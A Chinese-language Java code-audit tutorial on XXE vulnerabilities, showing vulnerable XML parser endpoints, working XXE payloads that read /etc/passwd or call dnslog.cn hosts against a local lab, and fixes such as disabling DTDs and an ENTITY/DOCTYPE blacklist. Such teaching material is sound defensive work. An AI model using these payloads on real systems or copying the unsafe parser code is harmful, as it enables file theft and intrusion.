【Java代码审计】XXE漏洞

news2024/11/27 1:45:10

【Java代码审计】XXE漏洞

  • 1.XXE漏洞概述
  • 2.Java中的XML常见接口
  • 3.XXE 漏洞审计
  • 4.XXE漏洞演示
    • XMLReader
    • SAXReader
    • SAXBuilder
    • DocumentBuilder
  • 5.XXE漏洞修复

1.XXE漏洞概述

XXE 为 XML 外部实体注入。当应用程序在解析 XML 输入时,在没有禁止外部实体的加载而导致加载了外部文件及代码时,就会造成 XXE 漏洞

XXE 漏洞可以通过 file 协议或是 FTP 协议来读取文件源码,当然也可以通过 XXE 漏洞来对内网进行探测或者攻击。漏洞危害有:任意文件读取、内网探测、攻击内网站点、命令执行、DOS 攻击等

在这里插入图片描述


2.Java中的XML常见接口

想要了解 XXE 漏洞,我们首先需要知道常见的能够解析 XML 的方法,在 Java 中我们一般用以下几种常见的接口来解析 XML 语言:

1、XMLReader

XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞

try {
    // 创建一个 XMLReader 对象,用于解析 XML 数据
    XMLReader xmlReader = XMLReaderFactory.createXMLReader();
    
    // 解析 XML 数据
    xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 如果解析过程中发生异常,则捕获异常并返回异常状态
    return EXCEPT;
}

2、SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞

try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXBuilder 对象,用于构建 XML 文档
    SAXBuilder builder = new SAXBuilder();
    
    // 使用 SAXBuilder 对象解析 XML 数据
    // 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
    // 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
    builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

3、SAXReader

DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。DOM4J 读/写 XML 文档主要依赖于 org.dom4j.io 包,它有 DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞

try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXReader 对象,用于解析 XML 数据
    SAXReader reader = new SAXReader();
    
    // 使用 SAXReader 对象解析 XML 数据
    // 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
    // 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
    reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

4、SAXParserFactory

SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance()。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞

try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXParserFactory 对象,用于创建 SAXParser
    SAXParserFactory spf = SAXParserFactory.newInstance();
    
    // 使用 SAXParserFactory 创建一个 SAXParser 对象
    SAXParser parser = spf.newSAXParser();
    
    // 使用 SAXParser 对象解析 XML 数据
    // 这里使用了默认的 DefaultHandler,但需要注意,如果不进行安全设置,仍可能存在安全风险
    // 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

5、Digester

Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons 库中的一个 jar 包:common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用

try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 Digester 对象,用于解析 XML 数据
    Digester digester = new Digester();
    
    // 使用 Digester 对象解析 XML 数据
    // 这里直接解析字符串,但需要注意,如果不进行安全设置,仍可能存在安全风险
    // 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
    digester.parse(new StringReader(body));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

6、DocumentBuilderFactory

javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回

try {
    // 从请求中获取请求体内容
    String body = WebUtils.getRequestBody(request);
    // 记录请求体内容
    logger.info(body);
    
    // 创建解析 XML 的工厂
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    // 创建解析 XML 的构建器
    DocumentBuilder db = dbf.newDocumentBuilder();
    // 创建用于读取字符串的 StringReader 对象
    StringReader sr = new StringReader(body);
    // 创建用于从输入源读取数据的 InputSource 对象
    InputSource is = new InputSource(sr);
    // 解析 XML,将字符串转换为 Document 对象
    Document document = db.parse(is);

    // 遍历 XML 节点的 name 和 value,并存储在 StringBuffer 中
    StringBuffer buf = new StringBuffer();
    // 获取根节点列表
    NodeList rootNodeList = document.getChildNodes();
    for (int i = 0; i < rootNodeList.getLength(); i++) {
        Node rootNode = rootNodeList.item(i);
        // 获取根节点的子节点列表
        NodeList child = rootNode.getChildNodes();
        for (int j = 0; j < child.getLength(); j++) {
            Node node = child.item(j);
            // 将节点的名称和内容追加到 StringBuffer 中
            buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
        }
    }
    // 关闭 StringReader
    sr.close();
    // 返回 XML 节点的名称和内容组成的字符串
    return buf.toString();
} catch (Exception e) {
    // 记录异常信息
    logger.error(e.toString());
    // 返回异常状态信息
    return EXCEPT;
}

3.XXE 漏洞审计

XXE 漏洞的审计方法和其他漏洞类似,只是搜索的关键字有所不同

XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

我们已经清楚了漏洞的整个触发流程及原理。接下来,可以构造一个用于 XXE 漏洞审计的常见的 Payload。常见的 XXE Payload 如下所示:

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<xxe>&file;</xxe>

例如某一处漏洞源码中会将 username 节点的内容进行打印,我们只需将上面的 XXE 节点换为 username 即可被成功解析并输出:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>

XXE 执行效果如图:

在这里插入图片描述


4.XXE漏洞演示

XMLReader

漏洞代码:

public String XMLReader(@RequestParam String content) {
    try {
        log.info("[vul] XMLReader: " + content);

        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        // 修复:禁用外部实体
        // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.parse(new InputSource(new StringReader(content)));
        return "XMLReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

先生成一个dnslog地址:

在这里插入图片描述

触发payload:

http://127.0.0.1:8888/XXE/XMLReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fvarzw4%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

在这里插入图片描述

命令执行成功:

在这里插入图片描述

SAXReader

漏洞代码:

public String SAXReader(@RequestParam String content) {
    try {
        SAXReader sax = new SAXReader();
        // 修复:禁用外部实体
        // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        sax.read(new InputSource(new StringReader(content)));
        return "SAXReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

同样触发payload:

http://127.0.0.1:8888/XXE/SAXReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2ft3ax50%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

在这里插入图片描述

命令执行成功:

在这里插入图片描述

SAXBuilder

SAXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象

漏洞代码:

public String SAXBuilder(@RequestParam String content) {
    try {
        SAXBuilder saxbuilder = new SAXBuilder();
        saxbuilder.build(new InputSource(new StringReader(content)));
        return "SAXBuilder XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

同样触发payload:

http://127.0.0.1:8888/XXE/SAXBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fwtf6tl%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

在这里插入图片描述

命令执行成功:

在这里插入图片描述

DocumentBuilder

漏洞代码:

public String DocumentBuilder(@RequestParam String content) {
    try {
        // DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        DocumentBuilder builder = factory.newDocumentBuilder();
        StringReader sr = new StringReader(content);
        InputSource is = new InputSource(sr);
        Document document = builder.parse(is);

        NodeList nodeList = document.getElementsByTagName("person");
        Element element = (Element) nodeList.item(0);
        return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());

    } catch (Exception e) {
        return e.toString();
    }
}

这次,使用file协议读取系统文件:

http://127.0.0.1:8888/XXE/DocumentBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%3Cperson%3E%3Cname%3E%26xxe%3b%3C%2fname%3E%3C%2fperson%3E

读取passwd文件成功:

在这里插入图片描述


5.XXE漏洞修复

1、对于 XXE 漏洞的防御比较简单,只需在使用 XML 解析器时设置其属性,禁用 DTD
或者禁止使用外部实体,一般常见的修复方案如下所示:

// 即禁止解析器处理文档类型声明。DOCTYPE 声明指定了文档类型及其 DTD
obj.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
// 禁用外部通用实体。通用实体是 XML 中的一种机制,用于在文档中引用外部实体
obj.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部参数实体。参数实体也是 XML 中的一种机制,用于在 DTD 中定义实体
obj.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

2、黑名单过滤ENTITY和DOCTYPE字符

public static boolean checkXXE(String content) {
    String[] black_list = {"ENTITY", "DOCTYPE"};
    for (String s : black_list) {
        if (content.toUpperCase().contains(s)) {
            return true;
        }
    }
    return false;
}

再次触发payload,攻击被检测:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1563039.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AdaBoost算法详解自用笔记(1)二分类问题举例分析

AdaBoost算法详解自用笔记&#xff08;1&#xff09;二分类问题举例分析 提升方法的思路 AdaBoost作为一种提升方法&#xff0c;其需要回答两个问题&#xff1a;一是每一轮如何改变训练数据的权重或概率分布&#xff1b;二是如何将弱分类器组合成一个强分类器。对于第一个问题…

Mybatis——一对一映射

一对一映射 预置条件 在某网络购物系统中&#xff0c;一个用户只能拥有一个购物车&#xff0c;用户与购物车的关系可以设计为一对一关系 数据库表结构&#xff08;唯一外键关联&#xff09; 创建两个实体类和映射接口 package org.example.demo;import lombok.Data;import …

2024如何做好跨境电商?7个步骤详细讲解

近几年来&#xff0c;随着互联网的发展&#xff0c;国内外的商业贸易越来越流畅&#xff0c;直播电商的火爆也带动着一大批相关的产业链发展&#xff0c;其中跨境电商就是尤为突出的一个。尽管在国内做跨境电商的企业数量非常之多&#xff0c;但仍有许多新人争相入局&#xff0…

Docker搭建LNMP环境实战(09):安装mariadb

1、编写mariadb部署配置文件 在文件夹&#xff1a;/mnt/hgfs/dockers/test_site/compose下创建文件&#xff1a;test_site_mariadb.yml&#xff0c;内容如下&#xff1a; version: "3.5" services:test_site_mariadb:container_name: test_site_mariadbimage: mari…

Android 自定义View 测量控件宽高、自定义viewgroup测量

1、View生命周期以及View层级 1.1、View生命周期 View的主要生命周期如下所示&#xff0c; 包括创建、测量&#xff08;onMeasure&#xff09;、布局&#xff08;onLayout&#xff09;、绘制&#xff08;onDraw&#xff09;以及销毁等流程。 自定义View主要涉及到onMeasure、…

Mybatis-自定义映射ResultMap用法

文章目录 一、处理属性名与字段名不同问题1.通过设置查询别名&#xff0c;使类属性名与字段名&#xff08;数据库内的名&#xff09;一致2.设置全局配置&#xff0c;使下划线自动映射为驼峰3.ResultMap 二、处理多对一映射问题前提背景1.使用级联来实现2.association 标签实现3…

Redis数据库常用命令和数据类型

文章目录 一、Redis数据库常用命令1、set/get2、keys3、exists4、del5、type6、rename6.1 重命名6.2 覆盖 7、renamenx8、dbsize9、密码设置10、密码验证11、查看密码12、取消密码13、Redis多数据库常用命令13.1 多数据库间切换13.2 多数据库间移动数据13.3 清除数据库数据 二、…

TSINGSEE青犀智慧工厂视频汇聚与安全风险智能识别和预警方案

在智慧工厂的建设中&#xff0c;智能视频监控方案扮演着至关重要的角色。它不仅能够实现全方位、无死角的监控&#xff0c;还能够通过人工智能技术&#xff0c;实现智能识别、预警和分析&#xff0c;为工厂的安全生产和高效运营提供有力保障。 TSINGSEE青犀智慧工厂智能视频监…

【Leetcode】331. 验证二叉树的前序序列化

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 序列化二叉树的一种方法是使用 前序遍历 。当我们遇到一个非空节点时&#xff0c;我们可以记录下这个节点的值。如果它是一个空节点&#xff0c;我们可以使用一个标记值记录&#x…

前端 - 基础 表单标签 - 表单元素 input - (name Value checked maxlength )属性详解

目录 name 属性 Value 属性 Checked 属性 Maxlength 属性 场景问答 # <input> 标签 除了 type 属性外&#xff0c;还有其他常用属性 >>> name 属性 在上一节 我们遇到的 单选按钮 &#xff0c;为什么 本应该 多选一 结果成了 多选多的问题 就…

HashMap考点相关源码解析

参考资料&#xff1a; HashMap超详细源码解析 - 掘金 HashMap常见面试题_hashmap面试题-CSDN博客 详解&#xff1a;HashMap红黑树的阈值为什么是8&#xff1f;_hashmap 红黑树阈值为什么是8-CSDN博客 史上最全HashMap源码整理-CSDN博客 HashMap源码和实现原理_hashmap源码…

10个最佳3D角色下载站

每个人都喜欢免费的东西。 无论是免费的 3D 角色还是游戏资产&#xff0c;我们都喜欢它们。 以下是可以为你的游戏获取免费 3D 角色的前 10 个网站的列表。 你可以将它们用于多种用途&#xff0c;例如 3D 打印或动画剪辑。 如果需要将下载的3D角色转化为其他格式&#xff0c;可…

基于springboot的房屋租赁系统平台

功能描述 流程&#xff1a;房主登陆系统录入房屋信息》发布租赁信息&#xff08;选择房屋&#xff09;》租客登陆系统浏览租赁信息》和房主联系、看房&#xff08;根据租赁信息单的电话线下沟通&#xff09;》房主发起签约&#xff08;生成邀请码&#xff09;》租客登陆系统根…

大模型实时打《街霸》捉对PK,GPT-4居然不敌3.5,新型Benchmark火了

源自&#xff1a;量子位 作者&#xff1a;陈哲涵 黎学臻 考验AI的动态决策力 第一个挑战是定位人物在场景中的位置&#xff0c;通过检测像素颜色来判断。 正如开发者所说&#xff0c;想要赢&#xff0c;要在速度和精度之间做好权衡。 “人工智能技术与咨询” 发布

朵米3.5客服系统源码,附带系统搭建教程

朵米客服系统是一款全功能的客户服务解决方案&#xff0c;提供多渠道支持&#xff08;如在线聊天、邮件、电话等&#xff09;&#xff0c;帮助企业建立与客户的实时互动。该系统具有智能分流功能&#xff0c;可以快速将客户请求分配给适当的客服人员&#xff0c;提高工作效率。…

RabbitMQ高级笔记

视频链接&#xff1a;【黑马程序员RabbitMQ入门到实战教程】 文章目录 1.发送者的可靠性1.1.生产者重试机制1.2.生产者确认机制1.3.实现生产者确认1.3.1.开启生产者确认1.3.2.定义ReturnCallback1.3.3.定义ConfirmCallback 2.MQ的可靠性2.1.数据持久化2.1.1.交换机持久化2.1.2.…

Python疑难杂症(14)---Numpy知识集合(二)学习Python的NUMpy模块的定向取值、聚合分析函数、矩阵运算等

4、索引取值 像对 python 列表那样进行切片&#xff0c;对 NumPy 数组进行任意的索引和切片&#xff0c;取得数组或者单个的元素值。 arr1np.array([1,2,3,4,5,6,7]) print(arr1) print(arr1[5]) print(arr1[2:4]) 输出&#xff1a;[1 2 3 4 5 6 7] 6 [3 4] B np.arra…

如何分析现货白银的行情?2个工具的介绍

现在给投资者拿出一段现货白银行情&#xff0c;投资者会如何分析&#xff1f;怎么找到其中的机会呢&#xff1f;相信有不少人对此还是不甚了解。有的投资者平常看书学得头头是道&#xff0c;但是一碰到实际行情就懵了&#xff0c;这都是没有好好掌握如何分析现货白银行情的方法…

VScode debug python(服务器)

方法一&#xff1a; 创建launch.json文件&#xff1a; launch.json文件地址&#xff1a; launch.json文件内容&#xff1a; {"version": "0.2.0", //指定了配置文件的版本"configurations": [{"name": "Python: Current File&…

WordPress外贸建站Astra免费版教程指南(2024)

在WordPress的外贸建站主题中&#xff0c;有许多备受欢迎的主题&#xff0c;如Avada、Astra、Hello、Kadence等最佳WordPress外贸主题&#xff0c;它们都能满足建站需求并在市场上广受认可。然而&#xff0c;今天我要介绍的是一个不断颠覆建站人员思维的黑马——Astra主题。 原…